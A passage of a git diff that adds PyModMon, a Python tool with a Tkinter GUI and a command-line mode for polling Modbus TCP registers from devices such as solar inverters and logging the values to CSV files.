to the selected config file + try: + inifile = open(data.inifilename,'w') + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',data.ipaddress) + Config.set('CommSettings','port number',data.portno) + Config.set('CommSettings','Modbus ID',data.modbusid) + Config.set('CommSettings','manufacturer',data.manufacturer) + Config.set('CommSettings','logger interval',data.loginterval) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',data.logfilename) + Config.set('FileSettings','log buffer',data.logmaxbuffer) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',data.datasets) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print (data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4] + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + thisrow = [s.encode('utf-8') for s in thisrow] + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'ab') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print ('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print thiserrormessage + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32) + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print 'Current datasets: ',(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print '' + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print 'PyModMon has exited cleanly.' + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = unicode(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = unicode(self.input_ipaddress.get()) + except: + showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print (data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + 